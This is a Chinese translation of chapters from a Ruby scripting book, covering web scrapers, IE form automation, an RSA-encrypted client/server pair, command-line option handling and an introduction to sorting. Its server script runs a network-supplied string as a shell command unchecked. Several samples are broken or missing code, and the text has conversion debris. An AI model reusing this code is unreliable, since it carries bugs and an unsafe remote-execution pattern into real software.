*还有许多其他用于网站自动化的库,这些库对于 Web 应用的回归和质量保证测试非常有帮助。一个更受欢迎的例子是 Watir(发音为 Water)。有关 Watir 的详细信息,请参阅wtr.rubyforge.org/。
使用 IE 句柄作为参数创建了一个新的win32ole对象
。这使 win32ole 知道将受其控制的应用程序。使用与 IE 关联的内置方法,navigate显然会转到指定的 URL,即toolbar.google.com/send/sms/index.php/
。下一行指定了 IE 窗口的属性。如果你选择不观看脚本施展魔法,你可以将此行更改为false,然后 IE 窗口将消失到后台。然后你只能在任务列表中看到它的存在。因为我喜欢看到脚本执行,所以我将此值设置为true。Internet Explorer 应用程序快速弹出,所以你必须做好准备。
接下来是页面加载条件循环。正如你所知,网站不会立即加载其内容。为了防止脚本提前提交信息,这一行告诉脚本暂停一秒钟,然后检查正确的readyState代码,即4
。提前行动从来都不是好事,这会破坏脚本。一旦 IE 文档完全加载,脚本就准备好填写适当的字段。
脚本通过属性名称知道要查找哪些字段。如果你查看网站的源代码,你会看到名为mobile_user_id、carrier、subject等对象。我们使用这些信息来指定输入应该放在哪里
。网站中使用的 HTML 大多数符合标准,但不知何故,文本区域的名称字段没有加上引号。这意味着我们无法使用之前的方法来访问区域。由于我们看到源代码中只有一个文本区域,我们搜索它,一旦找到就输入数据。没有什么太花哨的,但与常规有点不同
。
在信息就绪后,剩下的只是虚拟地点击发送按钮。Google 在为按钮正确命名方面做得很好,所以我们只需获取按钮名称并告诉它使用click方法。
。就是这样——Ruby 真是太酷了!
链接抓取
链接抓取
linkScrape.rb
从网页上抓取链接有许多用途。就像任何问题一样,解决它的方法有很多。在第二章中,我们编写了一个脚本来验证网站上的链接。由于需要验证链接,脚本需要比仅仅抓取所有链接时更多的代码行。我们不会构建一个网络蜘蛛,但我将介绍一些基本组件——首先是链接抓取器。
代码
 require 'mechanize' unless ARGV[0] puts "您必须提供网站。" puts "用法:ruby linkScrape.rb <要抓取的 url>" exit end  agent = WWW::Mechanize.new agent.set_proxy('localhost',8080) begin  page = agent.get(ARGV[0].strip) page.links.each do |l| if l.href.split("")[0] =='/'  puts "#{ARGV[0]}#{l.href}" else puts l.href end end rescue => e puts "发生了一个错误。" puts e retry end
运行代码
通过输入以下命令执行此脚本:
**`ruby linkScrape.rb`** *`http://url_to_scrape.com/`*
结果
该脚本将输出指定 URL 页面上找到的所有链接列表。我已经抓取了www.nostarch.com/main_menu.htm/。
| index.htm | interactive.htm |
|---|---|
| catalog.htm | gimp.htm |
| wheretobuy.htm | inkscape.htm |
| about.htm | js2.htm |
| jobs.htm | eblender.htm |
| media.htm | oophp.htm |
www.nostarch.com/blog/ |
wpdr.htm |
ww6.aitsafe.com/cf/review/ |
webbots.htm |
| .cfm?userid=8948354 | google.htm |
| abs_bsd2.htm | growingsoftware.htm |
| openbsd.htm | rootkits.htm |
| freebsdserver.htm | hacking2.htm |
| debian.htm | voip.htm |
| howlinuxworks.htm | firewalls.htm |
| appliance.htm | securityvisualization.htm |
| lcbk2.htm | silence.htm |
| lme.htm | stcb4.htm |
| nongeeks.htm | scsi2.htm |
| lps.htm | cisco.htm |
| mug.htm | cablemodem.htm |
| ubuntu_3.htm | xbox.htm |
| imap.htm | insidemachine.htm |
| pf.htm | nero7.htm |
| postfix.htm | wireless.htm |
| webmin.htm | creative.htm |
| endingspam.htm | ebaypg.htm |
| cluster.htm | ebapsg.htm |
| nagios.htm | geekgoddess.htm |
| nagios_2e.htm | wikipedia.htm |
| pgp.htm | indtb.htm |
| packet.htm | sayno.htm |
| tcpip.htm | networkknowhow.htm |
| assembly.htm | sharing.htm |
| debugging.htm | apple2.htm |
| qt4.htm | newmac.htm |
| vb2005.htm | cult_mac.htm |
| vsdotnet.htm | ipod.htm |
| codecraft.htm | art_of_raw.htm |
| hownotc.htm | firstlego.htm |
| idapro.htm | flego.htm |
| mugperl.htm | legotrains.htm |
| gnome.htm | sato.htm |
| plg.htm | nxt.htm |
| ruby.htm | nxtonekit.htm |
| vbexpress.htm | zoo.htm |
| wcj.htm | legobuilder.htm |
| wcps.htm | nxtig.htm |
| wcphp.htm | vlego.htm |
| wcruby.htm | mg_databases.htm |
| wcss.htm | mg_statistics.htm |
| greatcode.htm | eli.htm |
| greatcode2.htm | index.htm |
| wpc.htm |
它是如何工作的
将上面的代码与 "第 10 个网页链接验证器" 进行比较——差异很大,对吧?总是要深思熟虑一个问题,并记住以最简单的方式解决问题。一些最优雅的解决方案竟然是如此简单。这是一个基本的网站链接抓取器,不考虑有效性或其他任何事情。mechanize 库是在与互联网交互时常用的另一个库
。除了常规的错误处理语句外,还创建了一个名为 agent 的新 mechanize 对象
。然后,该对象被定制以供将来使用,因此代理设置为我的本地 Paros 代理。如果你不想使用代理,只需删除这一行即可。接下来,agent 使用 get 方法检索网页内容
。mechanize 的酷之处在于它自动对网页内容进行分类。使用 mechanize 在网页内容中查找特定元素使得 Ruby 开发者的生活变得更加容易。
在 page 中,找到了数组 links。多亏了 mechanize,链接已经被解析。和任何数组一样,我们可以使用 each 方法遍历它的每个元素。别忘了 link 不仅包含每个链接的 URL,还包含在原始源代码中定义的其他属性。我们只对 href 属性感兴趣,所以这就是输出到控制台的内容
。如果你打算抓取大型网站,我建议你保存输出到文件,但这取决于你。在打印完链接后,脚本干净地退出。
脚本破解
有几个其他非常酷的网页工具,例如 Hpricot (code.whytheluckystiff.net/hpricot/) 和 Rubyful Soup (www.crummy.com/software/RubyfulSoup/)),它们可以以类似的方式完成这种解析。我鼓励你尝试每个工具,找到适合你需求的工具。
图片抓取
图片抓取
imageScrape.rb
这个脚本将从用户提供的 URL 的页面抓取每个图片。图片文件将包括主机机器上的数据以及从其他网络服务器链接的图片。
代码
## 运行代码
通过输入以下命令来执行此脚本:
结果
该脚本将下载指定 URL 中找到的所有链接。我已经抓取了www.ruby-lang.org/,并抓取了两张图片,logo.gif(一个 Ruby 标志)和download.gif(一个链接到 Ruby 下载的图片)。
工作原理
对于从网站提取图片的任务,第一步是检索图片所在的网站。使用 open-uri 方法open,网页源代码方便地保存到我们的变量source中!。如您从 HTML 编码时代回忆的那样,图片是通过使用<img src="foo.jpg">标签嵌入到网页文档中的。在脚本中,我们使用了一个正则表达式,它分析源代码的每一行并找到这个特定的标签!。从正则表达式的结果中,脚本可以识别到找到的任何图片的位置。
一旦我们有了图片的位置,我们需要确定图片是从另一个网站链接过来的,还是位于主机网站上。大多数 HTML 代码在本地 Web 服务器上的图片前都有一个斜杠;这也被称为绝对路径。name变量持有图片路径。如果图片路径是绝对的,脚本会在图片名称前添加原始 URL,以便生成图片的完整地址。当创建一个新的Pathname对象并使用absolute?方法时,会进行绝对性检查!。即使图片的路径可能已经改变,图片的本地名称将与存储在copy中的相同!。
在创建适当的图片地址后,脚本利用 open-uri 虚拟文件处理来读取图片的内容并将其输出到copy中存储的名称的文件。这个过程会重复应用于网页文档中找到的每一张图片。结果存储在运行脚本的同一目录中。
脚本破解
您可以使用预构建的 HTML 解析器,如 mechanize、Hpricot 或 Rubyful Soup。这些可能比上面使用的正则表达式更准确。您还可以将图片保存为与在 Web 服务器上找到的相同类型的目录结构。有很多可能性,但这个脚本将帮助您开始。
爬虫
爬虫
scrape.rb
爬取,在其最基本的形式中,是通过正常的 HTTP 查询从另一个网站拉取数据的行为。爬虫脚本是之前脚本的总结。它将之前脚本中讨论的先前技术结合到一个大型脚本中,并增加了几个更多功能。这个脚本为基本的网站爬取提供了一个一站式服务。这个脚本不是一个机器人,因为它需要用户对每个抓取进行交互;但通过一些小的调整,这个脚本可以完全自动化。
代码
require 'rio' require 'open-uri' require 'uri' unless ARGV[0] and ARGV[1] puts "您必须指定一个操作和 URL。" puts "用法: scrape.rb [page|images|links] <要抓取的 URL>" exit end  case ARGV[0] when "page"  rio(ARGV[1]) > rio("#{URI.parse(ARGV[1].strip).host}.html") exit  when "images" begin open(url, "User-Agent" => "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)") do |source| source.each_line do |x| if x =~ /<img src="(.+.[jpeg|gif])"\s+/ name = $1.split('"').first name = url + name if Pathname.new(name).absolute? name = url + name.split('/').last if Pathname.new(name).absolute? File.open(copy, 'wb') do |f| f.write(open(name).read) end end end end rescue => e puts "发生错误,请重试。" puts e end exit when "links" links = File.open("links.txt","w+b") begin  open(ARGV[1], "User-Agent" => "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)") do |source|  links.puts URI.extract(source, ['http', 'https']) end rescue => e puts "发生错误,请重试。" puts e end links.close exit else puts "您输入了无效的指令,请重试。" puts "用法: scrape.rb [page|images|links] <要抓取的 URL>" exit end
运行代码
通过输入以下命令来执行此脚本:
**`ruby scrape.rb [`***`page|images|links`***`]`** *`http://url_to_scrape.com/`*
结果
根据选择的方法,脚本的输出将不同。您可以从之前的脚本中看到一个示例。
工作原理
该脚本有三个选项。你可以抓取 links、images 或整个网页。使用 case 语句来处理不同的选项
。你也可以使用 if/else 语句,但 case 语句更简洁。如果选择了页面,使用 rio 命令来复制网页源代码并将其保存到本地机器上的 HTML 文件中
。rio 处理了许多脏活累活,使得这项任务可以只用一行代码完成!
接下来是图像抓取
。这段代码是 工作原理 中的 "#45 图像抓取" 的副本,所以这里不会详细说明。如果你有任何问题,可以参考之前的脚本。
最终的 case 语句是用来获取链接的。与其他方法不同,我重新发明了轮子,展示了另一种提取 URL 的方法。这种链接抓取方法使用 open-uri 的 open 方法来检索源代码
并随后使用 URI.extract 方法,来追踪 HTTP 或 HTTPS 链接
。结果被保存到一个名为 links.txt 的文本文件中。
加密客户端
加密客户端
RSA_client.rb
描述信息技术和安全时,通常使用三个原则。这三个原则是保密性、完整性和可用性。这些安全组件中的每一个都会影响用户与数据交互的方式。以下两个脚本将集成 RSA 加密以实现保密性,并使用 SHA1 哈希以实现完整性。然后,通过 TCP 连接在网络中传输数据。
代码
require 'socket' require 'digest/sha1' begin print "Starting client..."  client = TCPSocket.new('localhost', 8887) puts "connected!\n\n"  temp = nil 5.times do temp << client.gets end puts "Received public 1024 RSA key!\n\n"  public_key = OpenSSL::PKey::RSA.new(temp) msg = 'mpg123*"C:\Program Files\Windows Media Player\mplayer2.exe"*ruby.mp3'  sha1 = Digest::SHA1.hexdigest(msg)  command = public_key.public_encrypt("#{sha1}*#{msg}") print "Sending the command...."  client.send(command,0) puts "sent!" rescue => e puts "Something terrible happened...." puts e retry end client.close
运行代码
通过输入以下命令来执行此脚本:
**`ruby RSA_client.rb`**
结果
下面是成功连接和命令发送的输出。
Starting client...connected! Received public 1024 RSA key! Sending the command...sent!
工作原理
客户端首先打开到指定 IP 地址和端口号的 TCP 连接
。如果连接成功,connected 将输出到 $stdout。接下来,客户端期望从服务器接收一个 1024 位 RSA 公共加密密钥。这个密钥存储在一个名为 temp 的变量中,因为它实际上只是一个直到转换为 OpenSSL RSA 密钥对象的神秘字符串对象
。一旦 public_key 初始化并包含公钥 RSA,脚本确认已收到密钥并准备加密数据
。
脚本将发送包含音乐程序的数据,无论是 Linux 的 mpg123 还是经典的 Windows 媒体播放器 mplayer2.exe。除了音乐程序外,还会发送一个音乐文件 ruby.mp3。该文件已经位于服务器上,所以这只会告诉服务器播放这首歌。每个命令字符串的部分由一个星号 (*) 分隔。你可以对这个命令,甚至是一般的数据,发挥无限的创意,因为所有这些都会被加密并发送到服务器。
数据加密是下一步。上述命令字符串存储在一个名为 msg 的变量中,并将使用服务器的公钥 RSA 进行加密。在我们加密数据之前,脚本将消息通过 SHA1 哈希处理,并将生成的哈希存储在 sha1
。这个哈希将在服务器端传输后使用。记住,哈希函数是单向的,所以如果数据在传输过程中被篡改,前后哈希值将不会相同。
接下来,将 sha1 和 msg 中的值通过一个星号连接起来。结果使用 RSA 密钥的 public_encrypt 方法加密
。正如你可能猜到的,该方法使用公钥 RSA 加密数据。只有相应的私钥 RSA 可以用来解密消息。
最后,加密后的消息被发送到服务器,并且连接被关闭
。如果在脚本加密或传输阶段出现任何问题,我们可靠的 begin/rescue 块将拯救这一天。如果一切顺利,服务器将播放一首关于 Ruby 的精彩曲目!生活还能比听关于 Ruby 的歌曲更美好吗?
加密服务器
加密服务器
RSA_server.rb
现在你已经看到了客户端及其所有魔法,是时候分析服务器了。服务器接收数据,检查 SHA1 哈希是否有效,解密数据,并根据传输的负载执行命令字符串。
代码
require 'socket' require 'digest/sha1'  priv_key = OpenSSL::PKey::RSA.new(1024) pub_key = priv_key.public_key host = ARGV[0] || 'localhost' port = (ARGV[1] || 8887).to_i  server = TCPServer.new(host, port)  while session = server.accept begin puts "建立连接...发送公钥。\n\n" puts pub_key  session.print pub_key puts "公钥已发送,等待数据...\n\n"  temp = session.recv(10000) puts "接收数据..."  msg = priv_key.private_decrypt(temp) rescue => e puts "在接收和解密过程中发生了可怕的事情。" puts e end  command = msg.split("*") serv_hash = command[0] nix_app = command[1] win_app = command[2] file = command[3]  if Digest::SHA1.hexdigest("#{nix_app}*#{win_app}*#{file}") == serv_hash puts "消息完整性已确认..."  if RUBY_PLATFORM.include?('mswin32') puts "执行 Windows 命令: #{win_app} #{file}" `#{win_app} #{file}` exit  else puts "执行 Linux 命令: #{nix_app} #{file}" `#{nix_app} #{file}` exit end else puts "消息无法验证!" end exit end
运行代码
通过键入以下命令执行此脚本:
**`ruby RSA_server.rb`**
结果
下面是成功连接和命令执行的输出。
建立连接...发送公钥。 -----BEGIN RSA PUBLIC KEY----- MIGJAoGBAMe12IJIyVULS/OLlHeekhZNyh2YhuGfJSwEozw2Z6GfaRjZg7s0cwqb B/Z+MMUPIjCmiH38pkKzh5GhA8zcRSWEFtssa8HcyIowA5ftZM27/6diYz9kNueI NO2kvlkqwU5KUOKnLISJnrZAlTbJMqio24dn3PNm27kgae8+KdrHAgMBAAE= -----END RSA PUBLIC KEY----- 公钥已发送,等待数据... 接收数据... 消息完整性已确认... 执行 Windows 命令: "C:\Program Files\Windows Media Player\mplayer2.exe" ruby.mp3
它是如何工作的
脚本首先生成一个唯一的、私有的 RSA 密钥
。从私钥中,使用 RSA 密钥方法 public_key 生成一个公钥 RSA 密钥。每次运行此脚本时,都会创建一个新的密钥对。如果有人使用旧的公钥加密数据发送,脚本将无法解密消息。
在创建 RSA 密钥之后,初始化 TCP 服务器
。服务器可以通过命令行参数运行主机和端口,或者它可以使用提供的默认值。服务器创建后,它开始监听传入的连接。脚本中使用while循环来管理各种会话
。由于脚本不是多线程的,一次只允许一个连接。
当客户端执行时,它会连接到服务器。这种连接启动了一个新的会话,第一个动作是响应服务器的公共 RSA 密钥!。RSA 密钥很小,所以这个过程很快。脚本随后等待客户端发送数据。在等待期间,客户端接收公共 RSA 密钥并加密要发送的消息。temp变量捕获服务器 TCP 连接接收到的任何数据,最多 10,000 字节!。只有接收到数据后,脚本才会继续执行。
使用 RSA private_decrypt方法,位于temp中的值被解密并存储在msg中!。如果在接收和解密命令字符串的过程中发生任何错误,我们的rescue子句将捕获错误并输出一些有用的信息,这将帮助我们调试问题。
如果您还记得从如何工作中的“#47 加密客户端”,命令字符串是以星号 (*) 为分隔符的。因此,为了将命令字符串分割成我们需要的部分,我们使用split方法,并在字符串msg中以展开符作为分隔点!。结果被保存到command中,它是一个字符串数组。由于我们在客户端脚本中构建了字符串,我们知道顺序将会是什么。首先是 SHA1 哈希值;接下来是 Linux 应用程序,然后是 Windows 应用程序;最后是将要使用的文件。
使用 Linux 应用程序字符串、Windows 应用程序字符串和文件名创建 SHA1 哈希!。在每个字符串之间添加星号以重新创建原始的哈希字符串。然后,将这个哈希的结果与包含客户端发送的 SHA1 哈希的serv_hash进行比较。如果值不相等,那么在传输过程中数据可能发生了某些变化。数据不再可信,程序将退出。希望这些值会匹配,这样脚本就可以继续执行。
如果确认了消息的完整性,那么最后的决定就是选择运行哪个应用程序。Ruby 提供了一个简单的方法来确定正在使用的平台。您只需使用RUBY_PLATFORM来询问它。对于 Windows 机器的结果是i386-mswin32。使用方便的include?方法,脚本检查RUBY_PLATFORM返回的字符串是否包含mswin32!。如果这个语句是true,则执行 Windows 命令。如果不是,则执行 Linux 应用程序!。无论如何,如果其他一切都正常,音乐应用程序应该启动并开始播放ruby.mp3。脚本在音乐应用程序终止后退出。所以,这就是在保持数据完整性的同时秘密通信的方法。
第八章。ARGUMENTS AND DOCUMENTATION

在本章中,我们将回顾一些早期的脚本并将它们整合到一个更大的脚本中。通过这样做,我们可以抽象出每个元素之间相似的功能。这种抽象不仅节省了空间,还产生了更大的可重用代码块。
为了开始合并脚本,我们将依赖一个库,该库将结合脚本的关键部分,并允许用户通过命令行访问特定的函数。这个库被称为 GetoptLong,因为它从隐含的参数向量(或命令行)中获取选项。很多时候,当编写脚本时,可能对用户有多个任务可用。我们不必运行整个脚本,而是可以让用户根据自己的需求选择和选择函数。这个库不仅使我们能够使用命令行参数设置不同的案例,而且还将替换书中使用的“内部”参数检查。
另一个将补充 GetoptLong 的工具是 RDoc。RDoc 帮助我们格式化代码的使用说明和文档。具体来说,RDoc 将从 Ruby 源代码生成结构化的 HTML 文档(有关 RDoc 的更多信息以及下载应用程序,请访问rdoc.sourceforge.net/)。在前面的脚本中看到的另一个“内部”代码块是使用说明——RDoc 可以替换这个代码块并帮助我们保持文档的一致性。这些库还将通过以可预测、常见的方式格式化使用说明和输出,使脚本看起来更专业。
文件安全
文件安全
fileSecurity.rb
两个非常适合合并的脚本是从第一章(在 Hacking the Script 上的“#2 Encrypt a File”和 Hacking the Script 上的“#3 Decrypt a File”)中的加密和解密脚本。为了回顾这些脚本的功能,加密脚本将数据打乱成密文,解密脚本将密文解码回明文。这两个脚本都使用了 Blowfish 加密算法和用户选择的密码。
代码
 # == 概述 # # fileSecurity.rb: 加密和解密文件,演示加密算法 # # # == 用法 # # encryption [选项] ... 文件 # # -h, --help: # # 显示帮助 # # --encrypt key, -e key # # 使用密码加密文件 # # --decrypt key, -d key # # 使用密码解密文件 # # 文件: 您想要加密/解密的文件 require 'getoptlong' require 'rdoc/ri/ri_paths' require 'rdoc/usage' require 'crypt/blowfish' def encrypt(file, pass) c = "Encrypted_#{file}" if File.exists?(c) puts "\n 文件已存在。" exit end begin # 使用用户输入的密钥初始化加密方法 blowfish = Crypt::Blowfish.new(pass) blowfish.encrypt_file(file.to_str, c) # 加密文件 puts "\n 加密成功!" rescue Exception => e puts "加密过程中发生错误:\n #{e}" end end def decrypt(file, pass) p = "Decrypted_#{file}" if File.exists?(p) puts "\n 文件已存在。" exit end begin # 使用用户输入的密钥初始化解密方法 blowfish = Crypt::Blowfish.new(pass) blowfish.decrypt_file(file.to_str, p) # 解密文件 puts "\n 解密成功!" rescue Exception => e puts "解密过程中发生错误:\n #{e}" end end  opts = GetoptLong.new( [ '--help', '-h', GetoptLong::NO_ARGUMENT ], [ '--encrypt', '-e', GetoptLong::REQUIRED_ARGUMENT ], [ '--decrypt', '-d', GetoptLong::REQUIRED_ARGUMENT ] )  unless ARGV[0] puts "\n 您未包含文件名(尝试 --help)" exit end filename = ARGV[-1].chomp  opts.each do |opt, arg| case opt when '--help' RDoc::usage when '--encrypt' encrypt(filename, arg) when '--decrypt' decrypt(filename, arg) else RDoc::usage end end
运行代码
此脚本使用两个命令行参数运行:要执行的操作(encrypt 或 decrypt)以及要操作的文件。
**``ruby fileSecurity.rb --encrypt *`superSecret.txt`*``** **``ruby fileSecurity.rb --decrypt *`superSecret.txt`*``**
结果
``ruby fileSecurity.rb 您未包含文件名(尝试 --help) ruby fileSecurity.rb --help 概述 -------- fileSecurity.rb: 加密和解密文件,演示加密算法 用法 ----- 加密 [选项] ... 文件 -h, --help 显示帮助 --encrypt key, -e key 使用密码加密文件 --decrypt key, -d key 使用密码解密文件 文件: 您想要加密/解密的文件 ```
工作原理
文件设置包含两个路径或操作。第一个执行路径是加密例程。第二个路径是解密例程。如果您需要回顾加密或解密的工作原理,请参阅页面 Hacking the Script 到 How It Works。该脚本与迄今为止我们编写的其他任何脚本都大不相同;最明显的是脚本开头的大注释块
。这段代码实际上是 RDoc 库用来输出关于脚本的相关信息的。
您还会看到对几个更多外部库的依赖。第一个新库是 GetoptLong。这个库负责处理脚本中的所有参数。由于我们将合并两个脚本,我们将利用 GetoptLong 使参数解析变得简单。接下来,我们调用 rdoc/ri/ri_paths 和 rdoc/usage。这两个库必须一起使用,因为 rdoc/usage 单独使用在某些系统上会因为依赖关系而产生错误。这些库允许在--help是脚本的参数时进行适当的格式化。
所有参数都定义在一个名为opt的 GetoptLong 对象中。每个命令行选项必须定义两个主要属性。第一个属性是一个包含该特定选项名称的字符串对象数组
。您可以使用尽可能多的字符串对象,在这里我为每个选项创建了两个名称。第一个是全名,第二个是缩写。opt对象的最后一部分是引用参数的标志。以下列出了三个选项。
GetoptLong::NO_ARGUMENT GetoptLong::REQUIRED_ARGUMENT GetoptLong::REQUIRED_ARGUMENT
在这个脚本中,我确定了三个可能的命令行参数:help, encrypt和decrypt。encrypt和decrypt选项需要一个参数,该参数将用作加密或解密指定文件的关键。您可以根据需要使命令行参数尽可能有创意,但尽量不要让用户(或三个月后的自己)感到困惑。现在参数已经定义,我们需要确保用户提供了参数。如果没有参数,那么用户可能应该访问帮助部分,这样就不会有文件被损坏……或者更糟
。用于加密或解密文件的文件名将是脚本的最后一个参数。我们还需要一个密钥来加密或解密文件,因此变量提前初始化。
现在,opt 准备开始解析,命令行参数被传递到一个块中,其中选项和参数被分开!
。一个简单的 case 语句使得对控制块的执行变得干净利落。如果 opt 是 --help,则调用 Rdoc::usage。如果 opt 是 --encrypt 或 -decrypt,则分别使用所需参数作为密钥对文件进行加密或解密。为了完成脚本,case 语句结束,脚本退出。
网页爬虫
网页爬虫
webScraper.rb
这个版本的网页爬虫具有与第七章(见 第七章 中的功能相同(参见 链接抓取 中的 "#44 链接抓取",如何工作 中的 "#45 图片抓取",以及 脚本黑客 中的 "#46 爬虫"))。第七章(见 第七章)中的脚本和下面的脚本之间的区别是增加了 GetoptLong 和 RDoc。这个版本的优势在于具有标准的帮助信息,以及针对特定功能的命令行参数。
代码
 # == 摘要 # # webScraper.rb: 从网站上抓取特定信息 # # == 使用方法 # # webScraper.rb [OPTIONS] ... URL # # -h, --help # 显示帮助信息 # # --links , -l # 抓取网页上的所有链接 # # --images, -i # 抓取网页上的所有图片 # # --page, -p # 抓取网页的 HTML 代码 # # URL: 你想要抓取的网站地址 require 'getoptlong' require 'rdoc/ri/ri_paths' require 'rdoc/usage' require 'rio' require 'open-uri' require 'uri' require 'mechanize' require 'pathname' def links(site) links_file = File.open("links.txt","w+b") agent = WWW::Mechanize.new begin page = agent.get(site.strip) page.links.each do |l| if l.href[0..3] == "http" links_file.puts l.href elsif (l.href.split("")[0] == '/' and site.split("").last != '/') or (l.href.split("")[0] != '/' and site.split("").last == '/') links_file.puts "#{site}#{l.href}" elsif l.href.split("")[0] != '/' and site.split("").last != '/' links_file.puts "#{site}/#{l.href}" else links_file.puts l.href end end rescue => e puts "An error occurred." puts e end links_file.close end def images(site) begin open(site.strip, "User-Agent" => "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)") do |source| source.each_line do |x| if x =~ /<img src="(.+.[jpeg|gif])"\s+/ name = $1.split('"').first site = site + '/' unless site.split("").last == '/' name = site + name unless name[0..3] == "http" copy = name.split('/').last File.open(copy, 'wb') do |f| f.write(open(name).read) end end end end rescue => e puts "An error occurred, please try again." puts e end end def page(site) rio(site) > rio("#{URI.parse(site.strip).host}.html") end opts = GetoptLong.new( [ '--help', '-h', GetoptLong::NO_ARGUMENT ], [ '--links', '-l', GetoptLong::NO_ARGUMENT ], [ '--images', '-i', GetoptLong::NO_ARGUMENT ], [ '--page', '-p', GetoptLong::NO_ARGUMENT ] ) unless ARGV[0] puts "\nYou did not include a URL (try --help)" exit end url = ARGV[-1].chomp  opts.each do |opt, arg| case opt when '--help' RDoc::usage when '--links' links(url) when '--images' images(url) when '--page' page(url) else RDoc::usage end end
运行代码
要运行此脚本,从四个命令行选项中选择,并指定要针对的特定 URL。没有任何选项需要参数。
**``ruby webScraper.rb [--help|--links|--images|--page] *`http://url_to_scrape.com/`*``**
结果
**`ruby webScraper.rb --help`** 概述 -------- webScraper.rb: 从网站上抓取特定信息 用法 ----- webScraper.rb [选项] ... 网址 -h, --help: 显示帮助 --links , -l: 抓取网页上的所有链接 --images, -i: 抓取网页上的所有图片 --page, -p: 抓取网页上的 html 代码 网址: 您想要抓取的网站
工作原理
此脚本设置与 fileSecurity.rb 脚本类似。功能与 第七章 中的脚本相同。为了开始为未来的用户提供适当的用法和文档,代码开头的大注释部分被定义为
。此代码与之前的抓取示例之间的唯一区别是现在使用的控制结构,用于将流程导向适当的方法。控制结构再次是一个 case 语句,寻找用户传入的特定参数
。如果您将原始的网页抓取脚本(见 文件安全 中的 "#49 文件安全")与上面的脚本进行比较,您可以看到使用 GetoptLong 控制程序流程是多么简单,以及 RDoc 如何整洁地格式化用法说明。您始终可以使用自己的参数解析器,但 GetoptLong 和 RDoc 提供了一种更一致和简洁的方法。我不会深入探讨此脚本的细节,但我确实想让您看看一种不同的结合脚本的方法。
照片工具
照片工具
photoUtility.rb
此脚本结合了 第四章 中找到的大多数脚本,并将它们放在一个文件中。这可以转换成一个定制的图片库,或者像下面那样使用。我选择创建此套件的一些原因是对摄影处理的关注。具有共同性的脚本是合并的好候选者,甚至值得重构代码以简化维护。我发现的一个最显著的优点是所有功能都集中在一个脚本中。您可以想象,如果需要查找多个脚本来完成这个单一 Ruby 脚本中包含的任务,那将是多么繁琐。
代码
# == 摘要 # # photoUtility.rb: 处理图像以调整大小、添加水印或创建网络相册 # # # == 使用方法 # # photoUtility.rb [选项] ... 图片 # # -h, --help # 显示帮助信息 # # --bw, -b # 将图像转换为黑白 # # --gallery, -g # 创建网络相册。使用此选项时,将"图片"输入为"temp" # # --info, -i # 提取照片信息 # # --resize size, -r size # 将文件调整到特定尺寸 # # --watermark text, -w text # 使用提供的文本给图像添加水印 # # 图片: 你想要处理的照片
上面的代码部分采用标准 RDoc 格式,因此当我们从架子上取下一份脚本却忘记了如何使用时,--help选项总是可用。
这标志着下面 case 语句中将调用的方法的结束。您可以将脚本的“核心”放入 case 语句中,但拥有调用每个功能的方法将使您的代码更整洁,更容易阅读和维护。
 opts = GetoptLong.new( [ '--help', '-h', GetoptLong::NO_ARGUMENT ], [ '--black', '-b', GetoptLong::NO_ARGUMENT ], [ '--gallery', '-g', GetoptLong::NO_ARGUMENT ], [ '--info', '-i', GetoptLong::NO_ARGUMENT ], [ '--resize', '-r', GetoptLong::REQUIRED_ARGUMENT ], [ '--watermark', '-w', GetoptLong::REQUIRED_ARGUMENT ] ) filename = ARGV[-1].chomp opts.each do |opt, arg| case opt when '--help' RDoc::usage when '--black' bw(filename) when '--gallery' gallery() when '--info' info(filename) when '--resize' resize(filename, arg) when '--watermark' watermark(filename, arg) else RDoc::usage end end
运行代码
要运行此脚本,请输入:
**``ruby photoUtility.rb [*`--help|--bw|--gallery|--info|--resize size`*|--watermark``** **``text] *`MyGlamourShot.jpg`*``**
(使用上述列出的任何一项选项。我使用了 --help 选项来生成结果部分的内容。)
结果
概要 -------- photoUtility.rb: 处理图像以调整大小、添加水印或创建网络相册 用法 ----- photoUtility.rb [选项] ... 图像 -h, --help 显示帮助 --bw, -b 将图像转换为黑白 --gallery, -g 创建网络相册。使用此选项时,将图像指定为 "temp" --info, -i 提取照片信息 --resize size, -r size 将文件调整到特定尺寸 --watermark text, -w text 使用提供的文本给图像添加水印 图像: 您想要处理的照片
它是如何工作的
此脚本与前面两个脚本的工作方式相同,但希望你已经注意到了这个脚本中集成的功能。代码比之前的任何脚本都要长得多,因为我们使用了 GetoptLong 将许多有用的图片处理功能合并到一个非常酷的脚本中。主要的不同之处在于用户可用的选项数量。每个选项随后都放入自己的 when 子句中。case 语句是一个很好的控制语句,因为它读起来很顺畅,并且可能比堆叠在一起的几个 if/else 语句更高效。此脚本的主要功能可以通过查看 opts 变量的 arguments 部分来找到
。选项包括帮助信息、将图片转换为黑白、制作相册、从图片中提取嵌入的信息、调整图片大小,最后,在图片上放置水印以保护数字媒体。我们手头有一系列相当不错的图片工具,全部来自这个脚本。你还会注意到,第七章 中的脚本已经稍作修改以确保正确执行。
结论
如本章所示,无论何时你拥有内容、主题或任何对你有意义的分组相似的脚本,将脚本合并成一个“库”类型的步骤是逻辑上的。你不需要管理许多不同的文件,只需关注一个。但是,我要提醒你,不要在合并过程中过于热情,否则你可能会患上“意大利面代码综合症”,使得代码维护变得极其令人沮丧,甚至不可能。祝你在探索 GetoptLong、RDoc 和脚本合并方面好运。
第九章。排序算法

Ruby 是一种非常出色的语言,原因有很多,但即使是最好的编程语言也可能因为糟糕的算法、不合适的数据结构或逻辑错误而受限。排序是应该掌握的基本编程技能之一。无论你是排序数字、字母还是名称,排序算法都可能使你的程序效率大增。
排序算法的性能通常使用 大 O 表示法(发音为 "Big Oh")来衡量,这是一个来自计算复杂度理论的概念。你可以放松;我们不会进入计算复杂度理论或证明。简单来说,大 O 表示法抽象化了算法对资源的消耗——特别是时间。一个简单的大 O 表示法的例子是考虑访问数组中每个元素的效率。在这种情况下的大 O 表示法将是 O(n),其中 n 代表元素的数量,数组中的每个元素只被访问一次。我无意深入大 O 的细节;对我们来说,它只是描述算法效率的一种方式。
为了对各种排序方法进行受控比较,我创建了一个测试框架,该框架将处理特定的测试用例。测试框架将设置测试用例,初始化计时器,并最终调用排序算法。每个算法都有相同的目标并产生相同的输出;它们根据效率以松散升序排列。记住,以下每个算法都是作为独立的方法编写的,以便于将其集成到其他脚本中。比较的第一个受控元素是待排序的数字。我使用另一个 Ruby 脚本生成了 1,000 个随机数字并将它们存储在一个文本文件中。对每种算法使用相同的数据进行排序的重要性在于,某些随机化可能有助于提高一个算法相对于另一个算法的性能,如果数据已经排序的话。
